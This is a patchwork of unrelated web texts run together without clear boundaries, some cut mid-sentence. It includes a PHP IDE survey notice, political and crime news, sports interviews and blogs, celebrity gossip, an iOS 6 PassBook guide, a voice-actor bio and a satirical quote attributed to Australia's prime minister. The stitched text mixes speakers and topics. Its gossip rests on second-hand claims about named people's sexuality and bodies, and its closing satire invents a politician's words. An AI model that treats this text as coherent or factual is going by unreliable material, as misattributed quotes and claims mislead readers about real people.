1 personal license for Komodo IDE, courtesy of Activestate
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Please read the survey very thoroughly in order not to get disqualified from the draw. There are some questions that are optional, but render you ineligible for the prizes, so please take your time.
This survey aims to gather usage data for various PHP IDEs and text editors in an attempt to identify the most popular one being used in 2014 Q1 and the reasons for its popularity. The survey will remain open for exactly one month, and the results will be published in full on http://www.sitepoint.com/php. In the interest of transparency, the data will also be made available to all in an unfiltered state shortly after the results are published.
Please do your best to write answers in English, and be mindful of grammar and punctuation. The more elaborate and detailed your answer is, the more chance it has of being featured in the results article.
As it would be overly easy to skew the results with the help of a bot, this survey requires you to input a valid and publicly accessible Google+, Twitter or Facebook username as a means of identification and fraud prevention. Alternatively, you can post a link to your personal website if you have one, as long as the website contains some type of information about you that identifies you as a unique human being (the about section, perhaps). This bit of information is called the identifier.
The “personal” information like age, gender etc, is required to gain more insight into the PHP community. Note that the actual identifier will NOT be made public after the survey – so if you input all the “personal data”, everything will be made public EXCEPT that. We only need your identifier as a proof of uniqueness. If you refuse to input any personal data, this will disqualify you from entering the reward pool at the end of the survey. Please answer those questions to help us more accurately gauge the PHP community.
Meet the author Bruno Skvorc Bruno is a blockchain developer and code auditor from Croatia with Master’s Degrees in Computer Science and English Language and Literature. He's been a web developer for 10 years until JavaScript drove him away. He now runs a cryptocurrency business at Bitfalls.com via which he makes blockchain tech approachable to the masses, and runs Coinvendor, an on-boarding platform for people to easily buy cryptocurrency. He’s also a developer evangelist for Diffbot.com, a San Francisco-based AI-powered machine vision web scraper.
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Americans for Prosperity, the conservative political advocacy group founded by David Koch and funded by a roster of right-wing think tanks, has purchased $150,000 in TV air time in Green Bay, Madison, and Milwaukee, three of Wisconsin’s biggest media markets. The ad buy comes in the run-up to Wisconsin’s big recall elections, which are just over a week away. If spent on pro-GOP recall ads, the buy brings AFP’s overall political spending on the recall races to more than $500,000.
The August 9 recall elections pit six under-fire state Senate Republicans against Democratic challengers. The six GOPers were targeted by voters after they backed Republican Governor Scott Walker’s anti-union budget “repair” bill, a piece of legislation that sparked weeks of protests in Madison, the state capitol. Walker won the battle over his bill, which curbed collective bargaining rights for most public-sector unions in the Badger State, signing it into law in March. But soon after it was blocked by a district-level judge, who claimed GOPers violated the state’s open meetings act in the passage of the bill. The bill eventually wound up before the state Supreme Court, where a three-justice conservative majority upheld the bill.
It’s not only Republicans who have faced blowback for their actions during the battle over Walker’s budget bill. Three Democratic state senators were targeted by conservatives for recall for fleeing the state in February to block a vote on Walker’s bill. In July, one of them, Democratic Sen. Dave Hansen won in a landslide in the first general election of the recall season. Democrats need a net gain of three seats in the state senate to take control of the chamber.
Scot Ross, executive director of the progressive group One Wisconsin Now, called AFP’s new ad blitz “the granddaddy of corporate, big oil special interest money” and a last-ditch effort to salvage the GOP majority in the state senate. “The Koch brothers’ Americans for Prosperity has now dumped over $500,000 to pollute Wisconsin airwaves about the failed agenda of Scott Walker and the Senate Republicans—and they may just be getting started.”R.J. Barrett is the No. 1 player in the ESPN 25 for 2019 and led Montverde (Montverde, Fla.) all the way to the DICKS’s Nationals title game this past season. Now he’s one of the most dominant players in the Nike EYBL with every top college coach hot on his trail. Barrett has agreed to give USA TODAY HSS exclusive access into his world by chronicling everything from intimate details about his recruitment to his everyday life in a monthly blog.
Hey everyone, this is R.J. Barrett kicking off my USA Today blog just trying to give you guys an insight to what my life is like.
I’m just coming off the Nike EYBL in Atlanta and we ended up going 1-3 so I wasn’t happy about that.
I scored a lot and I had a triple-double so I played well individually, but, ultimately, I’m all about the wins.
I am gonna miss my guys at the next session in LA, because I have to stay back at school for exam week.
The thing I love most about summer ball is being able to play with my friends from back home and being able to compete against the top guys around the world.
I’m definitely a lot more motivated this summer coming off of my high school season at Montverde because we fell a little short of accomplishing our goal of winning DICK’s Nationals.
With Montverde it’s just good to be able to be pushed by the great players and coaches every day. It was cool to go further than anyone thought we’d go this season, but getting all the way to the championship game makes me hungrier than ever.
People ask me all the time about whether I’ll reclass from 2019 to 2018 and it’s definitely a possibility that I’m discussing with my family.
I’ve been really back and forth with it; there are a lot of pros for doing both so it’ll be a tough decision.
Right now, I’m just planning to see where things stand after I finish up school and the summer is over and decide then.
I’m ranked No. 1 overall in the 2019 class and that’s an honor because it’s something I’ve been working for all my life; just to be considered the best.
At the same time, it comes with a big target. Every time I step on the floor, I get everyone’s best game because they want to prove that they’re better or be able to say they shut me down. The good thing about that is that it makes me tougher mentally.
The other side of it is that you get to meet a lot more people and you’re recognized a lot more and that’s pretty cool.
As for my recruitment, I pretty much let my dad handle all of that stuff right now. I just need to focus on basketball and school right now, so he helps me out and lets me do that. I know the college coaches can start calling me on June 15, but until I make a decision on whether I’ll reclass or not I think the coaches will just hit him up. I will start talking to coaches myself and building my own relationship with them soon though.
I like to try and get some downtime during the summer just because I’m at Montverde all year, but, at the same time, I love to travel and I love to play ball.
I feel like I’m on a plane every week anyway!
For those of you that don’t know I’m from Mississauga, which is about 20 minutes outside of Toronto.
This is my second year away from Canada, but the majority of my life, until I was 8, I lived in Europe because my dad was overseas playing ball.
One thing I miss from back home is maple syrup! And, no, it’s not the same as the maple syrup over here. Haha!
We get ours from the trees!
I miss my syrup.
It’s crazy that we’re about to be done with school for the year, but I’m trying to finish out the year strong. I |
Queen Latifah Comes Out of the Closet (Finally)
Gheys and lesbians are celebrating the biggest news since the passage of the gay marriage law in New York in 2011.
Hollywood's most well-known lesbian, Queen Latifah, has finally come out of the closet. The rapper-turned-actress made the transition quietly, in a press release announcing her commitment to headline this year's annual Long Beach Lesbian & Gay Pride Festival.
It is the first time that Latifah, real name Dana Owens, has ever participated in a Gay Pride celebration.
Sandrarose.com was the first to break the scoop that Latifah, 42, and her longtime lover Jeanette Jenkins had split up in 2011 (thanks to my west coast connect for the tip!).
That's when Latifah began dating a choreographer, who some say helped break up her relationship with Jenkins.
My scoop resulted in Latifah yanking advertising for her television projects, including the popular hit reality series "Single Ladies," from Sandrarose.com.The unique demands of playing at left-back for Jürgen Klopp’s Liverpool mean James Milner sees no reason to study how others fulfil the position for different clubs.
Klopp’s decision to deploy Milner in a new role this season has been rewarded by a series of classy, assured displays from the Reds’ vice-captain.
The No.7 has also contributed four goals in his 10 Premier League appearances this term - all from the penalty spot - and he feels that the boss’ style of play suits his understanding of what is required from the left-back berth.
“Full-back is a position which changes massively depending on who the manager is. A left-back now is different to a left back 10 years ago and that is why I have not studied anyone,” Milner told The Times.
“It would be pointless, and a left-back for Jürgen Klopp is going to be playing a lot different to a left-back for another manager.
“I would find it harder playing left-back for another manager in another system because Jürgen likes his full-backs to play, he wants his teams to be fluid.
“There are going to be times when I will end up in centre midfield and centre midfield will be covering me.”
Milner went on to outline his determination to keep his place in Klopp’s side.
“I am not going to turn around and lie and say ‘I love playing there’, but if that is me being part of a successful team and contributing then I will do anything I can for Liverpool,” the former England international added.
“Ultimately, the team comes first. If that is what is best for the team then you do it. From that moment on, I was training left-back in pre-season and learning the position.
“He [Klopp] doesn’t owe me anything. I am a Liverpool player, he is the manager, he picks the best team to win and it is my job to make sure that what is best for Liverpool is me.”CLOSE Neenah Police Chief Kevin Wilkinson answers questions about the Saturday standoff Alison Dirr/Post-Crescent Media
Police respond near the site of a hostage situation Saturday morning at Eagle Nation Cycles on Main Street in Neenah. (Photo: Ron Page/Post-Crescent Media)
NEENAH, Wis. — Steve Erato, owner of Eagle Nation Cycles, said he thinks police “shot the wrong guy” in a tense hostage situation Saturday at his motorcycle shop in downtown Neenah.
Erato and his attorney, Cole White of Green Bay, identified the victim as Michael L. Funk, 60, of Neenah.
“He was a hostage coming out (of the building),” Erato told the Appleton Post-Crescent on Sunday. “They shot him in the alley. They shot the wrong guy.”
Neenah Police Chief Kevin Wilkinson said in an email Sunday evening that the Wisconsin Department of Justice Division of Criminal Investigation is leading the investigation into the shooting.
"We aren't even interviewing our most involved people until after DCI finishes with them," Wilkinson said. "Thus, we have limited details about all that transpired. DCI knows far more about what happened there than I do."
Funk, also known as ML, was a regular at Eagle Nation Cycles, 206 Main St. Erato said Funk was at the shop Saturday morning when a gunman armed with a MAC-10 entered the business and demanded back his motorcycle, which had been sold to another man and was at the shop for work.
Erato was in the basement of the building when the gunman entered. He came upstairs when he heard a commotion. Funk saw him and secretly motioned for him to go back downstairs. Shortly before 9 a.m., Erato heard a gunshot from upstairs and called police to report “an active shooter in the building.”
Erato told police that the gunman was holding Funk and one or two others as hostages in the shop and that he (Erato) was holed up in the basement. Erato kept in contact with a police dispatcher during much of the ordeal.
Neenah police said in a statement that they received information about 9:20 a.m. that the hostages “were in immediate danger of being killed.”
Police tried to enter the building to rescue the hostages but were met with gunfire and retreated, the statement said. One officer was shot by someone inside the building. He was hit in his helmet and required medical attention but was not seriously injured.
A short time later, police said a man armed with a gun left the building. They have not identified that man.
“This subject did not comply with officers’ instructions to drop the firearm and was subsequently shot at by one or more officers on scene,” the police statement said. “We do not know if he was also shot at by the subject inside the business.”
White, an attorney who represents Erato and Funk in an ongoing $50 million federal lawsuit against Neenah, Neenah police and Winnebago County, said he understood “that ML was killed by law enforcement."
CLOSE Two people, one of them a police officer, were injured after an estimated 30 shots were fired at a motorcycle shop in Neenah, Wisconsin, police said.
"I'm devastated at his loss,” White said. “He was a great guy."
Police negotiated with the gunman who reportedly fired the initial shot for several hours before surrendered to police about 1 p.m. Police have not identified the man.
Winnebago County District Attorney Christian Gossett said Sunday that any charges against the man probably wouldn't be filed until midweek at the earliest. Police are keeping his office informed about the investigation but have not yet recommended charges, Gossett said.
On Sunday, Department of Justice spokeswoman Anne E. Schwartz declined to release additional information about the investigation.
"DOJ's investigation continues," she said in an email to the Post-Crescent. "In order to preserve the integrity of that investigation we have nothing to add to what the police department shared earlier."
Erato said Funk had a concealed-carry permit for a gun, but Erato doesn’t understand why Funk wouldn’t comply with police commands, as stated by police.
“I can’t imagine that he had a gun on him and wouldn’t use it on the shooter and would run out and threaten the cops,” Erato said. “It just doesn’t make any sense.”
Officers from various departments move to the site of a shooting at Eagle Nation Cycles on Main Street in Neenah Saturday. (Photo: Ron Page/Post-Crescent Media)
White said he also is left with questions.
“We believe at some point there must have been a scuffle between ML and the gunman and ML leaves the building trying to get help,” White said. “We don’t know what happened in terms of the law enforcement interaction, but he winds up dead.”
White said Eagle Nation Cycles has surveillance cameras on the property that might show what happened. He said the Department of Justice has seized the footage for its investigation.
The gunman who was arrested had made previous threats against the man who bought his motorcycle, White said. Those threats were reported to authorities, including the gunman’s probation officer, he said.
“Had somebody been able to act on that information sooner, none of this would have happened yesterday,” White said.
Neenah is located south of Appleton, about 100 miles from Milwaukee.
Follow Duke Behnke and Alison Dirr on Twitter: @DukeBehnke and @AlisonDirr
Read or Share this story: http://usat.ly/1QpSau4In an odd twist to what the Bengals normally do in free agency, the team has actually been quite active this spring. While some of that activity has come with outside signings and other visits with veterans, most of the team's work has been with their own free agents, be it by re-signing or losing out on them to another team.
Reggie Nelson is the most recent example of such, as he reportedly turned down a deal with the Bengals earlier this offseason and now, will be signing a two-year deal with the Oakland Raiders, according to ESPN's Adam Schefter.
Reggie Nelson agrees to terms with Raiders, per source. — Adam Schefter (@AdamSchefter) April 6, 2016
Raiders are giving former Bengals safety Reggie Nelson a two-year deal. — Adam Schefter (@AdamSchefter) April 6, 2016
Nelson is the sixth of 14 Bengals 2016 free agents who went elsewhere this offseason, and the Raiders have suddenly seemed to have built a pretty solid squad in grabbing the veteran safety.
Nelson signing a contract a month into free agency is quite surprising, as many felt he was one of the better players entering the open market. With eight interceptions in 2015 (tied for the NFL lead) and his first Pro Bowl berth, many thought he would either return to Cincinnati or bolt elsewhere early in the free agency period. However, age and likely high contract demands early in the process had him settling on the Oakland deal far later than was expected.
All of that said, the Bengals' hardball negotiation tactics and allowance of Nelson to leave after six productive seasons both tells us a lot about their plan ahead, but also leaves outsider questions on the team's position group going forward.
What the team is Telling us:
First of all, even though the team has greatly changed it's frugality stripes in recent years, they made it known they aren't going to overpay for a soon-to-be 33-year-old safety who could reach his career cliff in the very near future. It's a bold move, but one that teams like the New England Patriots often make, allowing one of their better acquisitions in recent memory leave once their usefulness looks to be running low.
The Bengals are also telling us that they like who they currently have on the roster. Cincinnati's front office made the decision to give the big contract to the younger George Iloka, and are confident in the relatively unproven, but steadily improving Shawn Williams as a potential Nelson replacement. Aside from Williams, the Bengals also like 2015 sixth-rounder Derron Smith, as well as the swing guys in Josh Shaw and Taylor Mays.
It's refreshing to see the team have confidence in the youngsters they're grooming, but caution must be exercised. One glaring mistake they made in relying on Margus Hunt while allowing Michael Johnson to walk in 2014. This situation is a little different though, as Nelson will be 33 years old at the beginning of the 2016 season, while Johnson was 27 in the spring of 2014.
Impact on the Position Going Forward:
As I mentioned above, Nelson's signing could pave way for more prominent roles for Smith and Williams, as well as Shaw's Chris Crocker-like slot role. Though the Bengals have designated strong and free safeties, they like guys who are interchangeable at the positions, thus making Williams the likely starter opposite Iloka with Nelson's departure. Such was the case in the playoff game against the Steelers when Nelson left with an ankle injury.
While it looks like the draft is the way the team will go in filling Nelson's roster spot, there is one interesting free agent caveat. Donte Whitner was just released by the Browns, and while it frustrates those who cover the team when fans immediately clamor for a player like Whitner to join the Bengals, it might be a little more possible than it seems on the surface.
They added veterans on the cheap in Brandon LaFell and Karlos Dansby, who were discarded by their respective teams, and now with Nelson off the market, Whitner has the most decorated experience and is about two years younger than Nelson. In a year where Marvin Lewis is in the last year of his contract, he and the team might be more inclined to push more chips to the middle of the table than usual and sign a guy like Whitner. Keep in mind that he was set to join the Bengals in 2012 before a last-minute change of heart to go to the 49ers.
But, in what is a more likely scenario, the Bengals might look to the draft for a Nelson replacement. If past history is any indication under Lewis, the highest they'll look at a safety is in the second round, with the more distinct possibility coming in the mid-rounds. Clemson's T.J. Green, Boise State's Darian Thompson, West Virginia's Karl Joseph and Southern Utah's Miles Killebrew are all possibilities in the middle of this year's draft.This year’s bitter presidential election has caused a rift in online relationships. According to a new survey, 13% of Americans reported blocking or unfriending a “friend” on social media because of their political postings
But the results of the study, carried out by the non-partisan Public Religion Research Institute, show the impulse to block varies widely based on gender and political leanings.
The study shows Democrats were almost three times more likely than Republicans (24% vs. 9%) to have unfriended someone after the election. A similar disparity turned up for self-identified liberals versus conservatives (28% vs. 8%). Meanwhile, only 9% of independents reportedly booted someone out of their online social circles because of politics.
As this graphic shows, the survey also identified “Democratic women” as the most likely of all groups to block someone on social media:
The survey did not ask questions about cutting online ties to others on specific websites such as Facebook or Twitter. The results show 4% of respondents said they did not belong to any social network.
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There are a number of possible explanations for the different rates at which various groups unfriended others over politics.
One is that Democrats may be feeling despondent about the election, and are thus more inclined to block stories about Donald Trump or victorious conservatives. Another is that liberals and women may be more frequent targets of online trolls, leading them to block more often.
Whatever the reason, the overall results do point to a larger and troubling trend in online media: The growth of “filter bubbles” in which people live in ideological cocoons that shut out discordant viewpoints. Some fear the existence of filter bubbles increase political partisanship as voters become less exposed to those who don’t share their opinions.
The study, which also included question about Christmas and family politics, was conducted by surveying 1,004 people by phone.Boston Police report arresting a West Roxbury teen on charges he tried to hold up the McDonald's behind his house at gunpoint Saturday morning. Police say they were aided in their search by footprints in fresh snow leading from the restaurant to his house.
According to police, Robert H. Bunszell, 19, who lives on New Haven Street, walked into the VFW Parkway McDonald's shortly after 7 a.m., ordered some hash browns, then pulled a gun and demanded money.
Based on witness statements and video, police went around behind the restaurant and the Waves car wash and found footprints leading to the driveway at 124 New Haven St., "where the footsteps stopped at the rear of a car then to the back stairway of the house." A woman police said was Bunszell's mother let them in:
Officers were then directed to the suspect's room where they observed a gray hooded sweatshirt consistent with that worn by the suspect in the attempted robbery. The suspect who was present at that time was placed under arrest after being identified by a witness.
A search warrant let officers find additional evidence, including:
[A] blue latex glove like that shown in the surveillance video, a gray hooded sweatshirt, a pair of jeans consistent with that worn by the suspect in the video, a pair of Nike sneakers matching the footprints in the snow, a firearm with clear tape on the handle and a roll of plastic tape consistent with that found on the path that officers followed from the restaurant.
Bunszell was charged with attempted armed robbery, malicious destruction of property and unlawful possession of a firearm. This is not his first brush with the law.
Innocent, etc.After all the ups and downs Derrick Rose has dealt with over the past four years, few would blame him if he wanted to start over somewhere else. But despite all the speculation surrounding his future, Rose, who will become a free agent after next season, wants to make something very clear: He doesn't want to leave the Chicago Bulls.
The former MVP hit on that topic and many others during a recent conversation with ESPN.com. He still believes in himself, and he still has love for his hometown despite all the hits he has taken in recent years. Rose has finally gotten his season on track after climbing the mental and physical hurdles that came after a facial fracture suffered during the first training camp practice in late September.
In recent weeks, he has ditched the protective mask and started fresh. He has been attacking the basket more, and, in the process, he has also started to shed some of the inconsistencies that have plagued his game all season. Rose, like the rest of his teammates, is also adjusting to the shift in leadership within the Bulls' locker room as Jimmy Butler takes a more vocal stance than ever before with his play -- and his words.
Despite all the setbacks, the youngest MVP in NBA history remains confident and believes he can still be an MVP-caliber player, no matter what his critics say.
Nick Friedell: After all that's happened the past few years, how good do you feel right now?
Derrick Rose: I feel good, but [it's] still going to take time. I know it's a process, and all I got to do is keep getting the most out of each one of my days and keep trying to be the best athlete I can become.
Friedell: I know we're still only a few months into the season, but what do you like most about coach Fred Hoiberg?
Rose: The person he is. I think good things come to good people, and there's a reason why he's here. There's a reason why he has this group. And I think we can really win with him being our head coach, so he has nothing but my respect, all my attention and I'm trying to give him my all while I'm on the floor playing for him.
Friedell: What do you miss most about Tom Thibodeau?
Rose: To tell you the truth, I haven't thought about Thibs since last year. A great coach, I had a real good relationship with him, but right now I can't be in between going back and forth thinking about coaches. I'm just thinking about Fred and the team right now.
"I think that my IQ level grew as a player. I think that I [run] the game a little bit better. I'm waiting for the game to come to me, and I'm picking and choosing my spots." Derrick Rose
Friedell: So you haven't talked to him at all?
Rose: I haven't talked to him, seen him, thought about him. I've just been focused -- to tell you the truth, I've just been focusing on this year.
Friedell: Two-part question: How do you think you've changed most as a person in the past four years, and how do you think you've changed most as a player over that same time?
Rose: As a person, I would say I'm more patient, way more patient than I was when I came in [to the league], before the injuries. But I think just going through everything, just maturing a little bit more, getting older, you start to see what it is and I'm good, man. I live a great life. I can't complain. We're winning games. I'm healthy, my family's good and there's nothing I can really complain about.
Friedell: And as a player?
Rose: I think that my IQ level grew as a player. I think that I [run] the game a little bit better. I'm waiting for the game to come to me, and I'm picking and choosing my spots instead of just going out there and just doing whatever because I don't have to do that with this team?
Friedell: What do you think the biggest key will be in your evolution as a player moving forward?
Derrick Rose says everything he does is for his son P.J. Jesse D. Garrabrant/NBAE/Getty Images
Rose: Who knows? That's like a mystery. I can only do so much. All I can do is just go in there and tighten up my game, tighten up my handles. Just all the little basic things that you wouldn't even think about, the fundamental parts of the game. Because I feel like I have everything else as far as being creative and athletic -- like you can't teach that. But it's the little things that's going to push me over, like ball-handling, passing, boxing out when I'm setting screens. Little things like that that you would overlook that can make me a complete player.
Friedell: From the first time we talked, you always talked about how much you loved Chicago and how you wanted to be the player to bring a title back to the city. Has your love for the city and wanting to be that guy changed at all over all this time?
Rose: Never. Never. I can't get mad about peoples' opinions, I always say that. That's their opinion. They got every right to say or think whatever they want to say and think. And whatever they say and think don't affect my life. I don't live in that world where I'm on social media, I don't got social media. Or I'm reading articles [about my game], so it's like I hear stuff by word of mouth a couple of days after so it never gets to me. So I can't get mad about what they say.
Friedell: You told me a long time ago you never wanted to play anywhere else. Is that still true?
Rose: That's still true. Still true. Just having my son [P.J.], I'm doing all this because of my son now, you know? Just wanting to be around him every day, having him come up here, shoot with me or see me shooting til he's able to become a ball boy. Little things like that I think about long term. Just trying to get him groomed, trying to get him used to being in the environment.
Friedell: You want to retire here still.
Rose: For sure, for sure.
Friedell: Do you just laugh sometimes about all the stuff that's being said on the outside?
Rose: That's the only thing I can do. That's the only thing I can do because they're judging me off of one [thing]: injuries. And two, things that they don't know about me. Like I know who I am as a person. Like anybody that's ever been around me or friends that you could talk to that's around me, I never disrespected no one. Or did something that would hurt someone, so for them to say the things that they're saying or do the things that they're doing or whoever's saying whatever, I really can't get into that. All I can do is let God handle that.
Having a talent like Jimmy Butler alongside him is something Derrick Rose has "been dying for" in his career. AP Photo/Steve Dykes
Friedell: What do you think is the biggest misconception about you now?
Rose: I really don't know right now. Every week it changes probably. I'm serious. I don't know -- it's probably -- in the beginning of the year it was, Did I want to stay here and did I want to win? But my whole life, I mean from the beginning, I said I wanted to stay here and play here and my whole life I've been a winner, so that's not going to change.
Friedell: Do you think you still love the game as much as you did when you first came in?
Rose: Yeah, yeah. I'm a fan of the game. I'm a student of the game. After all this is said and done, I just want to go down as a winner and that he gave it his all.
Friedell: There's been so much talk about your relationship with Jimmy. Have you given him advice about leading?
Rose: I wouldn't say about leading. It's about just growing up, you know? He's a young guy. I remember Jimmy played [junior college] with my assistant, my best friend [Randall Hampton], so I remember when he was coming to the team and my friend was telling me he was coming to the team and just to his growth, you know what I mean? From there to where he is right now -- he's a player that I've been looking for. So I know in the heat of the battle he's going to be there, he's going to be giving his all, and this is something that I've been dying for so I'm happy to have him.
Friedell: Out of all the guys you've played with here, do you think he's the most talented guy?
Rose: Yeah, for sure. For sure. And you still don't know, nobody still knows how good he could become, so that's the great thing about it.
Friedell: After all the stuff that's happened, how did you get over all the injuries while you were out there on the floor?
"I wasn't supposed to take [the mask] off. I wanted to take it off because it's like I'm hiding behind something. And I took it off and it's been going good." Derrick Rose
Rose: Just having faith. Having faith. That's one of the reasons why I took my mask off. I wasn't supposed to take it off. I wanted to take it off because it's like I'm hiding behind something. And I took it off and it's been going good.
Friedell: You've always been confident in your game. You've always known how good you can be. Do you think that you can still get your game from where it is now to being in that MVP conversation again?
Rose: I mean, that's the goal. That's the goal. I'm not doing this s--- just to get by or doing it just to be doing it. I'm doing this because of my son. He's everything to me. He's the reason why I get up and I work out the way I work out and train the way that I train. He changed everything about me, so he was a blessing.
Friedell: Do you think about what it would be like to have him with you celebrating in Grant Park after a title, riding with him in the parade?
Rose: Yeah, yeah. I'll go further than that. Do I want him living here after I'm done or at the end of my career? Do I want him living in Chicago? I want him to have a life where he don't have to worry about kids treating him a certain way because of who his dad is. If it was up to me, I wouldn't want him to play basketball, but I just want him to have a regular life so that he's able to walk around and still be normal.Unretouched photos from Justin Bieber's Calvin Klein shoot acquired by BreatheHeavy.com show that editing software blessed the lil' skater boy with a brand new penis as well as body hair. The GIF below illustrates his miraculous transformation from boy to man.
In addition to enlarging his bulge, it appears Calvin Klein pumped up Bieby's pecs, biceps, and quads. BreatheHeavy.com, which has now crashed, says the unretouched photos came from "someone connected" to the shoot. Defamer regrets calling the retouched photos "sexy" and "not so bad" earlier this week.
A source also tells BreatheHeavy.com that Justin acted like a ding dong on set, explaining that "he was basically a douche. He hit on [fellow model] Lara several times and she had to stop him, basically calling him out on being just a child."
All is right with the world.
UPDATE (Saturday 1:19 pm): After receiving a threatening letter from Bieber's lawyers, BreatheHeavy.com took down the unretouched photos from the site, noting that the site is "definitely not here for lawsuits." The site's editor explains:
Bieber denies the photo is real, and I respect that and will believe him. And to make up it, here's a new quote from Justin's trainer Patrick Nilsson, who says JB is packing. "I can definitely confirm that he is a well-endowed guy. I sound weird saying that, but yes."
Okay!ORIENT captain Nathan Clarke has committed his future to the club by signing a new two-year contract.
Clarke has been ever-present for the O’s in League 1 this season and will now be staying in E10 until 2016 after his current contract was due to expire at the end of the season.
The 30-year-old joined Orient in time for the start of the 2012-13 season and was immediately installed as captain following his release from Huddersfield Town. Since then he has gone on to make 72 appearances in an O’s shirt whilst also recently passed the milestone of 400 career starts.
Clarke said: “I’m absolutely delighted to sign a new contract here. I love the club and being captain is a great honour. I feel like the club is going in the right direction and it is something that I want to be a part of.
“As a player you want that security and I’m glad it has been sorted out so I can put that to one side now, move my family down here and concentrate on the football and getting promotion which is our aim.”
Meanwhile O’s boss Russell Slade is thrilled that his captain has signed the new deal.
“Nathan has been instrumental in everything we’ve achieved this season,” he said. “He’s a model of consistency, leads by example and never shirks his responsibilities on and off the field. The fact that he will remain as our captain for the foreseeable future is just fantastic news for everyone.”
Stay tuned for a full video interview with the O’s skipper on www.leytonorient.com and www.youtube.com/OrientOfficial"Known to Man" and the advent of the space aliens
Last week I wrote about how I was systematically changing the phrase "known to man" to just "known" in Wikipedia articles.
Two people so far have written to warn me that I would regret this once the space aliens come, and I have to go around undoing all my changes. But even completely leaving aside Wikipedia's "Wikipedia is not a crystal ball" policy, which completely absolves me from having to worry about this eventuality, I think these people have not analyzed the situation correctly. Here is how it seems to me.
Consider these example sentences:
Diamond is the hardest substance known to man.
Diamond is the hardest substance known.
There are four possible outcomes for the future:
Aliens reveal superhardium, a substance harder than diamond.
Aliens exist, but do not know about superhardium.
The aliens do not turn up, but humans discover superhardium on their own.
No aliens and no superhardium.
In cases (1) and (3), both sentences require revision.
In case (4), neither sentence requires revision.
But in case (2), sentence (a) requires revision, while (b) does not. So my change is a potential improvement in a way I had not appreciated.
Also in last week's article, I said it would be nice to find a case where a Wikipedia article's use of "known to man" actually intended a contrast with divine or feminine knowledge, rather than being a piece of inept blather. I did eventually find such a case: the article on runic alphabet says, in part:
In the Poetic Edda poem Rígþula another origin is related of how the runic alphabet became known to man. The poem relates how Ríg, identified as Heimdall in the introduction,...
[Other articles in category /aliens] permanent linkPassBook is a new iOS 6 app that turns the iPhone into a wallet for tickets, loyalty cards, coupons, gift cards more.
The PassBook app doesn’t handle payments like Google Wallet, but it is a place to keep all the various cards and cruft that turns real wallets into George Constanza wallet.
PassBook is installed on the iPhone and iPod Touch with iOS 6, but the app is not available on the iPad.
Read: How to Use Passbook at Starbucks
PassBook Video Walkthrough
The app by itself doesn’t include any passes, or the ability to create new passes. Soon airlines, stores and even amusement parks will start offering to add passes to PassBook when users buy a ticket or sign up for a coupon. Passes also include the option to automatically alert users when it’s time to use them. So airline tickets and movie passes can pop up an alert in the Notification Center.
Several apps already support PassBook, but until more businesses get on board, users can create their own passes for PassBook on the iPhone.
How to Make Your Own PassBook Passes
Users that don’t want to wait for companies to offer PassBook passes can create passes with a service called PassSource. This site is not affiliated with Apple, so I’m not comfortable putting my gift cards in this way, but it is a great way to create loyalty cards for stores like Best Buy and others.
The easiest way to create passes and loyalty cards is to go to Passsource.com on the iPhone. Here users can make passes for a variety of businesses, airlines and other items. There are also generic passes users can add to their phone.
In a minute I made a Best Buy RewardZone PassBook pass, a Kroger Plus PassBook pass and a fake Apple Store gift card.
Update: Some readers report the Kroger Plus card is not working. I’m looking for other solutions.
The site allows users to create passes right on the iPhone and then add them to PassBook. Users can also create PassBook passes on a computer and email the pass or a link to their phone.
This is a nice way to add passes to PassBook while waiting for developers to catch up.
Read: How to Use Panorama Mode in iOS 6 (Video)
PassBook Not Ready for Prime Time
While it is tempting to jump right in to using PassBook for iOS 6, most users will want to wait.
Developers are quickly adding support for sports tickets, movie tickets, coupons and rewards cards to apps and webpages, and in the real world there are plenty of chances for errors.
Another big hurdle is training for retail employees. Movie theater employees, cashiers and others are not trained on how to accept or use items in PassBook. Some employees will know what’s going on, but for the most part it will take some time for employees to accept PassBook as easily as paper.
Darrell Etherington of TechCrunch, shares his experience using PassBook at a movie theater. The experience was not great, but an app update today may solve some of his issues.
If you plan to use PassBook, be patient and remember it may be the first time a cashier has heard of the feature.
PassBook Compatible Apps
When you open PassBook, there is a link to the App Store where compatible apps will show up. So far there are only a handful of apps that work with PassBook, but the list is constantly changing.
Update 2: MLB Teams Support PassBook Tickets
Starbucks showed up in this list yesterday, but as of today, the following apps are shown as PassBook compatible in the App Store.
Fandango
Live Nation
Lufthansa
MLB.com At Bat
Sephora to Go
Ticketmaster
Walgreens
The number of apps using PassBook will likely grow in the coming weeks as developers push out app updates.
Read: How to Use Do Not Disturb in iOS 6Early career Edit
He began his voice-over career in 1983 with the mini-series G.I. Joe: A Real American Hero, where he played "Snow Job" and "Tripwire". A few years later, his career launched into more roles such as "Cobra Slavemaster" and reprising "Snow Job" and "Tripwire" on G.I. Joe, "Corky" on The Snorks, "Marco Smurf" on the later seasons of The Smurfs, "Boober" on the animated version of Fraggle Rock, "Hadji" in The New Adventures of Jonny Quest and the title character – "Saber Rider" and the villain "Jesse Blue" on Saber Rider and the Star Sheriffs.
Live action acting Edit
During the 1980s, Paulsen also explored the field of live action films. His first movie was Eyes of Fire in 1983. He played supporting roles in Body Double, Stewardess School, Warlock, and Mutant on the Bounty. He appeared in television shows during this time as well, such as MacGyver and St. Elsewhere. He mentioned in an interview, regarding his role in Body Double, that he would not want his child (who was very young at the time of the interview) to see the movie, so he could not really be proud of his work.
Advertising Edit
Paulsen became more prevalent in the world of advertising as well. In the 1980s, he had been the announcer for the sitcom Cheers and continued to secure roles as an announcer. He appeared as the voice of "Mr. Opportunity", spokesman of Honda commercials on TV and radio, the announcer for Buffalo Dick's Radio Ranch, and the spokesman for Lucky Stores, a West Coast grocery store chain, before it was acquired by Albertsons in 1998. He provided the voice of "Dog" in the Taco Bell kids meal commercials from 1996 to mid-1997, with Eddie Deezen as the voice of "Nacho" the cat.
However, Paulsen's most famous advertising role was in the original commercial of the now ubiquitous Got Milk? campaign. The famous commercial, Who shot Alexander Hamilton in that famous duel?, aired in 1993, and launched the Got Milk? campaign into a monstrously successful enterprise. Paulsen continues to be one of the most sought-after |
this fall. There has to be some worry with four starters suspended for the beginning of the season, but at full strength, this defense will be a handful, especially with one of the best linebacking corps in the country that includes All-American Jarvis Jones, speedster Alec Ogletree and work horse Michael Gilliard. Once Bacarri Rambo, Sanders Commings, Shawn Williams and Branden Smith are all back and together, Georgia's secondary will be potent.The Prime Minister is totally fed up with being bullied into meeting the expectations of morally-developed nations.
“I think we’re all just so sick of being lectured,” Mr Abbott complained today. “It’s ‘do this, do that. Don’t torture this, human rights that’. It’s all we hear. What’s next? Some kind of international convention for dealing with human refugees?”
